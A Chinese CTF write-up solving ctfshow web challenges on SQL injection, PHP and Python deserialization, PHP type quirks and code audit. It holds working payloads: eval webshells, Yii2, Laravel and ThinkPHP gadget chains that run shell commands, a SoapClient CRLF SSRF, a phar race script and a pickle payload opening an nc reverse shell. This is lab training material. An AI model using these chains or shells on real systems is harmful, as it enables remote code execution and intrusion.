这样的话没办法写入PHP文件了,结合文件上传的知识,当前路径下还有一个 index.php 文件,那么我们就可以上传一个 .user.ini 文件,将包含恶意代码的其他文件包含到当前路径下的PHP文件中,也可以达到写马的目的。

可以先上传 .user.ini 文件,这里在每行开头加上换行符避免与前面插入的内容混在一起。
.user.ini' LINES STARTING BY ';' TERMINATED BY 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a6175746f5f617070656e645f66696c653d312e6a70670a;#

然后上传包含恶意代码的文件,
1.jpg' FIELDS TERMINATED BY 0x3c3f706870206576616c28245f504f53545b315d293b3f3e;#

然后访问index.php就可以执行命令了。

web244

无过滤。

//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

先尝试输入 1' ,在查询接口 http://url/api/?id=1%27&page=1&limit=10 处有报错信息,显然是报错注入。

这里可以用 updatexml 来进行报错注入,返回的错误信息为:'~ctfshow_web~' ,注入成功。
1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1));%23

payload:
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1));%23
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1));%23
1' and (updatexml(1,concat(0x7e,(select right(flag,30) from ctfshow_flag),0x7e),1));%23

这里由于报错信息的长度有限,所以要分段读。

web245

updatexml 被过滤了,可以用 extractvalue ,两个原理都是xpath语法错误报错。

'and(select extractvalue("~",concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))))%23
'and(select extractvalue("~",concat('~',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'))))%23
'and(select extractvalue("~",concat('~',(select flag1 from ctfshow_flagsa))))%23

web246

0x02 反序列化

web254

接收两个get参数,然后判断用户名密码是否等于 'xxxxxx' ,等于则返回flag,直接传参就可以了。

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

web255

与上一题类似,但是会读取cookie,读入一个序列化参数,然后进行反序列化,判断 $isVip 是否为true。

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

get传参,抓包修改cookie即可。

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}

echo urlencode(serialize(new ctfShowUser()));

web256

这题相比上一题,多了个输入的用户名和密码不能相等的条件,改一下就行了。

get请求参数为 ?username=so4ms&password=xxxxxx ,然后构造payload如下。

<?php
class ctfShowUser{
    public $username='so4ms';
    public $password='xxxxxx';
    public $isVip=true;
}

echo urlencode(serialize(new ctfShowUser()));

web257

这里用了 __construct() 方法来初始化ctfShowUser类,使其 $class 指向info类,我们可以在反序列化时修改其指向 backDoor 类,然后修改code属性为获取flag的代码,随后执行eval获取flag。

 <?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

payload:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'backDoor';
        public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code='system("cat flag.php");';
}

echo urlencode(serialize(new ctfShowUser()));

web258

取消了对用户名密码和VIP的验证,只有正则表达式对 O:数字 的过滤。在数字前加一个+就可以绕过。

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

payload:

user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web259

反序列化读取的参数,然后调用 $vip->getFlag()

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

在 flag.php 中,会判断 HTTP_X_FORWARDED_FOR ,请求是否来自本地,然后参数token等于ctfshow输出flag到文件。

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

这里没有给我们任何类,应该是考察原生类的反序列化。

POC:

<?php
$a = new SoapClient(null, array(
    'user_agent' => "so4ms\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
    'location' => "http://127.0.0.1/flag.php",
    'uri'      => "so4ms"));
echo urlencode(serialize($a));

这里在反序列化 SoapClient 后,调用 getFlag() 函数,由于该类不存在这个函数,会触发 __call 魔术方法。

我们在 user_agent 中进行CRLF注入,使得可以传入参数token,然后location为本地请求flag.php的url,反序列化后flag就会被读入flag.txt了。

web260

直接传入 ?ctfshow=ctfshow_i_love_36D 即可。

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

web261

这里的 __unserialize 是PHP7.4新增的魔术方法,和 __wakeup 类似,在进行反序列化时触发,但是当 __unserialize 存在是不会触发 __wakeup

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

这里 __destruct 会判断 code是否等于0x36d,满足条件就会进行写文件,而code是username和password进行拼接,0x36d的十进制为877,在弱比较中,877.php==0x36d 成立,所以username传入877.php,password传入shell就行了。

POC:

<?php
class ctfshowvip
{
    public $username;
    public $password;
    public $code='';

    public function __construct()
    {
        $this->username='877.php';
        $this->password='<?php eval($_POST[1]); ?>';
    }
}

echo serialize(new ctfshowvip());

web262

传入三个参数,然后new一个对象 message ,然后将其序列化,并将 'fuck' 替换为 'loveU' ,然后base64编码一下,存入cookie。

<?php
/*
# @message.php
*/

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

然后我们在最开始的注释中可以发现 message.php,访问一下,发现他会将cookie中存的序列化对象取出,然后base64解码后反序列化,如果token等于admin就输出flag。

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }

payload:

<?php

class message{
    public $from='a';
    public $msg='a';
    public $to='a';
    public $token='admin';
}

echo base64_encode(serialize(new message()));

web263

Session序列化选择器漏洞。

PHP Session序列化选择器漏洞主要是 session.save_handler 不同造成的。session.serialize_handler 定义的选择器有三种,如果不选定使用哪种选择器的话,默认是 php_serialize ,如果不同的选择器混用的话就会造成反序列化漏洞。

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

访问 www.zip 下载源码。

index.php 中,如果 'limit' 的session不存在的话,就对其进行设置。

<?php
    error_reporting(0);
    session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }
?>

check.php 中,包含了文件 'inc/inc.php' ,然后设置了 ini_set('session.serialize_handler', 'php');

<?php
//check.php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){

    $data= $db->get('admin',['id','UserName0'],
    ["AND"=>["UserName0[=]"=>$GET['u'],"PassWord1[=]"=>$GET['pass']]]);
    if($data['id']){
        //登陆成功取消次数累计
        $_SESSION['limit']= 0;
        echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
    }else{
        //登陆失败累计次数加1
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
        echo json_encode(array("error","msg"=>"登陆失败"));
    }
}
?>
<?php
//inc.php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

然后在 User 类中, 魔术方法 __destruct() 使用了 file_put_contents() 函数,可以对文件内容进行写入,那么我们就可以构造 User 类的序列化字符串,然后对其属性进行设置以对文件写入代码获取flag。

序列化后的字符串为 O:4:"User":3:{s:8:"username";s:9:"shell.php";s:8:"password";s:27:"<?php system('cat fla*); ?>";s:6:"status";N;} 。我们在最前面加上 | ,因为选择器为 php ,所以这个字符串就会被反序列化为一个 User 对象。

<?php

class User{
    public $username="shell.php";
    public $password="<?php system(\"cat flag.php\"); ?>";
    public $status;
}

echo urlencode(base64_encode("|".serialize(new User())));

先访问index.php,然后修改cookie的 limit 值为该payload,刷新,随后访问check.php,最后访问 log-shell.php 即可。

web264

和262类似,会对序列化后的字符串进行替换,将四个字符长度的 fuck 替换为 loveU

<?php
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

message.php 中,如果反序列化后的 message 类的token为admin的话输出flag。

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这里是用到了序列化逃逸。因为在之前将两个长度不同的字符串进行了替换,而序列化字符串是考标识的长度去判断属性内容,而进行长度不等的替换后,就可以造成序列化逃逸,进而修改token的值。

正常情况下message的序列化字符串是这样的 O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"a";s:2:"to";s:1:"a";s:5:"token";s:4:"user";} ,我们想要修改token,就要加上";s:5:"token";s:5:"admin";},让之后的字符逃逸出来,";s:5:"token";s:5:"admin";}长度为27,因此我们就要27个fuck来构造payload。

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

要使得password等于一串随机数,我们可以用引用。

<?php
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
与C语言中的指针是有差别的.C语言中的指针里面存储的是变量的内容,在内存中存放的地址。

<?php

class ctfshowAdmin
{
    public $token = 1;
    public $password = '$this->token';
}

$a = new ctfshowAdmin();
$a->password =& $a->token;
echo (serialize($a));

web266

大小写绕过正则。

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

web267

弱口令 admin:admin 登录,about下发现提示 <!--?view-source --> ,访问 /index.php?r=site%2Fabout&view-source 看到:

///backdoor/shell
unserialize(base64_decode($_GET['code']))

结合yii框架的反序列化漏洞,这里应该就是反序列化的入口点,详情可见yii2反序列化漏洞复现

但是这里 system 好像不能用,shell_exec 也没有回显,可以用 passthru 来执行命令。

exp:

<?php

namespace yii\db {

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;

        public function __construct()
        {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace yii\web {

    use yii\rest\IndexAction;

    class DbSession
    {
        public function __construct()
        {
            $a = new IndexAction();
            $this->writeCallback = [$a, 'run'];;
        }
    }
}

namespace yii\rest {
    class IndexAction
    {
        public function __construct()
        {
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}

namespace {

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

web268

上一题的payload还可以用,只是flag名字变了。

web269

同上

web270

同上

web271

打开后发现是 Laravel 框架,可以参考 laravel5.7 反序列化漏洞复现

 <?php
/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

require __DIR__ . '/../vendor/autoload.php';

$app = require_once __DIR__ . '/../bootstrap/app.php';

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

POC:

<?php

namespace Illuminate\Foundation\Testing {

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;

        public function __construct()
        {
            $this->command = 'system';
            $this->parameters[] = "cat /flag";
            $this->test  = new GenericUser();
            $this->app = new Application();
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;

        public function __construct()
        {
            $this->attributes['expectedOutput'] = ['hello', 'So4ms'];
            $this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $bindings = [];
        public function __construct()
        {
            $this->bindings['Illuminate\Contracts\Console\Kernel']['concrete'] = 'Illuminate\Foundation\Application';
        }
    }
}

namespace {

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

web272

Laravel 5.8,可见laravel5.8 反序列化漏洞复现

POC如下,由于在执行命令后会报错,但是直接查看源码就鞥看到命令执行的结果了。

<?php

namespace Illuminate\Broadcasting {

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct()
        {
            $this->events = new Dispatcher();
            $this->event = new QueuedCommand();
        }
    }
}

namespace Illuminate\Bus {

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;

        public function __construct()
        {
            $this->queueResolver = array(new EvalLoader(), 'load');
        }
    }
}

namespace Illuminate\Foundation\Console {

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;

        public function __construct()
        {
            $this->connection = new MockDefinition();
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader
    {
    }
}

namespace PhpParser\Node\Scalar\MagicConst {

    class Line
    {
    }
}

namespace Mockery\Generator {

    use PhpParser\Node\Scalar\MagicConst\Line;

    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->config = new Line();
            $this->code = "<?php system('cat /flag'); ?>";
        }
    }
}

namespace {

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

web273

同上

web274

ThinkPHP V5.1反序列化。

<?php

namespace think\process\pipes{

    use think\model\Pivot;

    class Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
}

namespace think\model{
    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think{
    abstract class Model
    {
        private $data = [];
        private $withAttr = [];
        protected $append = ['so4ms'=>[]];

        public function __construct()
        {
            $this->relation = false;
            $this->data = ['so4ms'=>'ls'];
            $this->withAttr = ['so4ms'=>'system'];
        }
    }
}

namespace {
    use think\process\pipes\Windows;

    $windows = new Windows();
    echo base64_encode(serialize($windows))."\n";
}

web275

获取一个参数fn,然后 file_get_contents('php://input') 获取一个post参数,new一个 filter 对象,之后会执行 checkevil() 函数,这里会判断两个参数然后对属性 $evilfile 进行修改。关键点在于方法 __destruct() ,如果 $this->evilfile 会true,就会执行system函数,进行字符串拼接可以进行命令执行。

<?php
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
}else{
    echo 'where is flag?';
}

直接拼接就行了 ?fn=;cat flag.php

web276

在上一题的基础上增加了 $admin ,但是由于没有反序列化的函数,可以使用phar反序列化

<?php
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
}else{
    echo 'where is flag?';
}

这里 file_put_contents($_GET['fn'], $content); 写文件,两个参数都是可控的,那么 $_GET['fn'] 我们可以使用 phar:// 伪协议来进行读取,通过 file_get_contents('php://input') 来读入phar数据,PHP 通过 phar:// 协议解析数据时,由于meta-data 部分的信息会以序列化的形式储存,,解析时就会将 meta-data 部分进行反序列化,就存在反序列化的漏洞。

生成phar文件的代码如下,得设置 php.ini 的phar.readonly选项为Off,得到 phar.phar,由于我们主要是为了触发反序列化漏洞,所以 这里的压缩内容就随意了。

<?php
class filter
{
    public $filename = ';cat fla*';
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

我们先上传phar文件,由于上传文件之后会被复制一次然后删除文件,所以我们可以不断上传访问来进行条件竞争。

import threading

import requests

url = 'http://153b87ae-2d4c-4821-9114-f7ba23f23916.challenge.ctf.show:8080/'
data = open('./phar.phar', 'rb').read()


def upload():
    try:
        requests.post(url + '?fn=phar.phar', data=data)
    except Exception as e:
        exit(-1)


def read():
    try:
        res = requests.post(url + '?fn=phar://phar.phar', data='')
        if "ctfshow{" in res.text :
            print(res.text)
            exit(0)
    except Exception as e:
        exit(-1)


while True:
    a = threading.Thread(target=upload)
    b = threading.Thread(target=read)
    a.start()
    b.start()

web277

打开后检查源码发现有注释 /backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)

base64解码后执行 pickle.loads(m) ,显然是存在python的反序列化漏洞,可见python序列化与反序列化。访问 /backdoor 显示500错误。

这里 os.system 好像不可用,使用 os.popen 可以执行命令。

import os
import pickle
import base64


class People:
    def __init__(self, name):
        self.name = name

    def __reduce__(self):
        return (os.popen, ('ls',))


people = People(name="So4ms")

serialization = pickle.dumps(people, protocol=0)
print(base64.b64encode(serialization))

访问 http://url/backdoor?data=Y29zCnBvcGVuCnAwCihWbHMKcDEKdHAyClJwMwou 显示 backdoor here ,显然是反序列化执行成功了,但是没有回显,所以我们选择反弹shell。

import os
import pickle
import base64


class People:
    def __init__(self, name):
        self.name = name

    def __reduce__(self):
        return (os.popen, ('nc ***.***.***.*** 2021 -e /bin/sh',))


people = People(name="So4ms")

serialization = pickle.dumps(people, protocol=0)
print(base64.b64encode(serialization))

在服务器上执行命令 nc -lvvp 2021 监听端口,然后执行反序列化,回到服务器就拿到shell了。

web278

过了了 os.system ,不过277也不能用吧,payload一样的就行了。

0x03 php特性

web89

正则匹配不能输入数字,数组绕过正则表达式。

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

?num[]=1

正则表达式返回完整匹配次数(可能是0),或者如果发生错误返回FALSE。

web90

不能等于4476,但是转化成数字后等于4476,传入十六进制数就行了。?num=0x117c

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

web91

绕过正则。?cmd=php%0Aphp

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

i
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

web92

同web90,?num=0x117c

web93

将字母过滤了,用八进制绕过,?num=010574

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

web94

不能以0开头了,小数点绕过 ?num=4476.0

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

web95

小数点过滤了,空格加八进制绕过。 ?num= 010574

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

web96

可以打开传入参数的文件,传入flag.php的绝对路径就行了。?u=/var/www/html/flag.php

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

web97

擦混入两个不同参数,但是md5值相等。

if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
            echo $flag;
        else
            print 'Wrong.';
}

md5()函数无法处理数组,如果传入的为数组,会返回NULL,强相等成立。a[]=1&b[]=2

web98

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

三目运算符

对于条件表达式b ? x : y,先计算条件b,然后进行判断。如果b的值为true,计算x的值,运算结果为x的值;否则,计算y的值,运算结果为y的值。

如果有get请求,则post请求的值覆盖get请求的值。

最后一行,如果get请求参数 HTTP_FLAG 的值等于flag,输出flag。

因此我们get传一个参数,post传HTTP_FLAG=flag即可。

web99

随机生成0x36d个数放入数组,然后判断get请求的参数n是否在数组中,在的话将post请求的参数content写入n代表的文件中。

$allow = array();
for ($i=36; $i < 0x36d; $i++) {
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

这里in_array延用了php中的 ==,弱类型比较。

?n=1.php content=<?php eval($_POST[1]);?>

web100

这里v0的值用的and去判断,三个条件中只要一个成立就返回true了。

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}

然后可以使用反射类 ReflectionClass来输出 ctfshow 类的属性名。

这里有一个小demo,可以体验一下ReflectionClass的功能。

<?php
class test{
    public $a = "Hello World";
    function demo(){
        echo "Hello World";
    }
}

$b = new ReflectionClass('test');
echo $b;

//output:
//Class [ class test ] { @@ D:\PHP\data\test\test.php 2-7 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [1] { Property [ public $a ] } - Methods [1] { Method [ public method demo ] { @@ D:\PHP\data\test\test.php 4 - 6 } } } 

payload: ?v1=1&v2=echo new ReflectionClass&v3=;

web101

同web100

0x04 代码审计

web301

首先先启动环境,发现是一个登录界面,那么来看看源码,找到 checklogin.php ,找到关键语句,他的SQL语句直接拼接了我们的参数,并没有进行过滤。

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
    $_SESSION['error']="1";
    header("location:login.php");
    return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
    $_SESSION['login']=1;
    $result->free();
    $mysqli->close();
    header("location:index.php");
    return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

用户名输入 1' union select 1 #,输入1,单引号闭合,联合注入,由于他的逻辑是根据用户名查询密码,然后与输入的密码进行比较,因此联合注入返回1,密码输入1,登录成功,得到flag。

web302

题目描述说修改了这个地方 if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){,也就是说要对存在数据库中的面进行了加密,找到这个加密函数,改一下之前的payload就可以接着注入了。

function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}

1' union select 'd9c77c4e454869d5d8da3b4be79694d3' #,密码输入1。

